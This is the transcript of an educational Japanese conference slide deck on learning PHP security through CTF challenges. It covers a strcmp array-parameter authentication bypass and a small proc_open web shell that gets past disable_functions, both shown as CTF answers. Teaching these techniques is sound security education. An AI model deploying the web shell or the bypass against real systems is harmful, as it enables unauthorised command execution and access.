Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Sign up for free
Menu
Search
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Pricing
Search
Sign in
Sign up for free
CTFで学ぶPHPセキュリティ
Search
Ryoto Saito
March 31, 2019
Programming
4.5k
3
Share
Embed
Copy iframe code
Copy JS code
Copy link
Start on current slide
CTFで学ぶPHPセキュリティ
PHPerKaigi 2019
ルーキーズLT
Ryoto Saito
March 31, 2019
More Decks by Ryoto Saito
See All by Ryoto Saito
コンテナ上シェル悪用の話とPure Bashでcurlが作れた話
ryotosaito
2
730
シェル芸のせかい / the Shellgei World
ryotosaito
2
1.9k
Other Decks in Programming
See All in Programming
Lambda durable functionsでHuman in the Loopを楽に…楽に……
har1101
2
280
AI時代のシニアエンジニアとは
yosuke_furukawa
PRO
14
11k
AI Augmentation Techniques with Liberty
ivargrimstad
1
370
AIが生成したコードは読むべきか?抽象化設計とコードの品質保証 / abstraction-design-and-quality
minodriven
16
8.6k
PyConTW 2026 - AI Coding 不只是工具升級, 區域醫院醫療資訊系統協作開發與資訊團隊轉型實踐
cclai999
0
230
ActionController meets Protocol Buffers
sorah
1
780
Spec-Driven Development - Why Vaadin Is the Perfect Fit
simas
PRO
0
230
AI駆動開発4年目の現在地(『あなたはFDEになるべきか?』イベント資料)
kumaiu
0
130
React Native経験者が Flutterを30⽇間触って驚いたこと
3saito
0
150
AI時代のFlutter品質設計 — アプリ品質を守るQuality Layers
omatty198
0
360
Seven New Principles of Software Engineering
yegor256
0
450
あなたの await、OS まで届いてる? strace で覗く JavaScript の非同期
hasutosasaki
1
2.2k
Featured
See All Featured
Amusing Abliteration
ianozsvald
1
380
Redefining SEO in the New Era of Traffic Generation
szymonslowik
1
520
Joys of Absence: A Defence of Solitary Play
codingconduct
1
570
A designer walks into a library…
pauljervisheath
211
25k
State of Search Keynote: SEO is Dead Long Live SEO
ryanjones
0
350
Game over? The fight for quality and originality in the time of robots
wayneb77
1
330
Bioeconomy Workshop: Dr. Julius Ecuru, Opportunities for a Bioeconomy in West Africa
akademiya2063
PRO
1
440
A Guide to Academic Writing Using Generative AI - A Workshop
ks91
PRO
1
560
Design in an AI World
tapps
1
380
What’s in a name? Adding method to the madness
productmarketing
PRO
24
4.2k
AI Search: Implications for SEO and How to Move Forward - #ShenzhenSEOConference
aleyda
1
1.4k
The Mindset for Success: Future Career Progression
greggifford
PRO
0
560
Transcript
CTFで学ぶ PHPセキュリティ 2019/3/31 PHPerKaigi ルーキーズLT Ryoto (@systemctl_ryoto) 1
CTF - Capture the Flag 2
CTF Capture the Flag • FPSのゲームルール の1種 • 敵陣のフラッグを自陣 に持ち帰る
• 由来は物理的な遊び • 転じて… 3
CTF Capture the Flag • 情報セキュリティ的に脆弱な 「何か」が用意される • その脆弱性を突いてFlagを取得 する競技
※ Flag = 仮想的な機密文字列 flag{PHP_is_s3cur3!} ↑過去に本当に見たことあるやつ • 問題ベースで楽しくセキュリティ が勉強できる! • 徳丸さんの挑戦状もCTF 4
PHPer チャレンジ は シェルを 奪えます ls -al /もmysqldumpも実行できる 5
CTFの 主要な ジャンル 厳密な分類は大会やサイトによって 微妙に異なる 6 Pwn プログラムの脆弱性を突く Reverse リバースエンジニアリング
Forensic パケットやFile systemなど Crypto 暗号解読 Web クライアントからサーバまで
Webの CTF 情報セキュリティ的に脆弱な「何か」 • 「Webサイト」 • 「ソースコード」 どこが脆弱かはもちろん、どこにFlag があるのかがわからないことも たのしい謎解きの始まり
7
CTFのPHP問題例 - 実際の問題の一部分 - 8
前提:パスワード認証のソースを入手した include "define.php"; /* 403 Forbidden */ if (strcmp($_GET['password'], PASSWORD)
== 0) { echo FLAG; } 目標:なんとか突破したい! 言語仕様に関する問題 9
前提:パスワード認証のソースを入手した include "define.php"; /* 403 Forbidden */ if (strcmp($_GET['password'], PASSWORD)
== 0) { echo FLAG; } 目標:なんとか突破したい! 言語仕様に関する問題 10
言語仕様に関する問題 11
言語仕様に関する問題 12
言語仕様に関する問題 13 if (strcmp($_GET['password'], PASSWORD) == 0) strcmpは配列や関数などを受け取るとnull+Warningを返す) <?php var_dump($_GET);
http://localhost/dump.php?password[]=admin にアクセス↓ array(1) { ["password"] => array(1) { [0] => string(5) "admin" } }
include "define.php"; /* 403 Forbidden */ if (strcmp($_GET['password'], PASSWORD) ==
0) { echo FLAG; } 目標:なんとか突破したい! 先ほどのヒントを踏まえると… 言語仕様に関する問題 14
include "define.php"; /* 403 Forbidden */ if (strcmp($_GET['password'], PASSWORD) ==
0) { echo FLAG; } 目標:なんとか突破したい! Ans: http://target.host/?password[]= 言語仕様に関する問題 15
前提:任意の.phpファイルがUpload、実行できる脆弱性が発覚 <?php phpinfo(); disable_functions pcntl_exec, exec, popen, passthru, shell_exec, system
目的:シェルを奪いたい!(任意コマンドを実行したい) 任意コード実行 16
(注:shell_execと等価なので`cmd`はダメ) 任意コード実行 17
pcntl_exec, exec, popen, passthru, shell_exec, system... proc_open関数がノーマーク 任意コード実行 18
pcntl_exec, exec, popen, passthru, shell_exec, system... proc_open関数がノーマーク 前提:任意の.phpファイルがUpload、実行できる脆弱性が発覚 目的:シェルを奪いたい!(任意コマンドを実行したい) 任意コード実行
19
Ans. 以下のPHPファイルをアップロード <?php $cmd = $_GET['cmd'] $process = proc_open($cmd, [1=>["pipe",
"w"]], $pipes); echo stream_get_contents($pipes[1]); これを1回アップロードすれば?cmd=...でやりたい放題 任意コード実行 20
CTFに興味が湧いてきた人は! 21
やってみよう! 22 常設CTF(Web・PHP問題が入門から充実している) • https://www.root-me.org/en/Challenges/Web-Server/ • http://websec.fr/ ※ 垢登録するときは捨てパスワードを使いましょう 慣れたらコンテストに参加!
• https://ctftime.org
困ったときは 23 CTFでは解答例のことを Write-up と呼びます。 考えてもわからなかったら答えを探すのもあり! ("Write-up"で検索して問題を探す荒技もあり)
Thank you! @systemctl_ryoto 24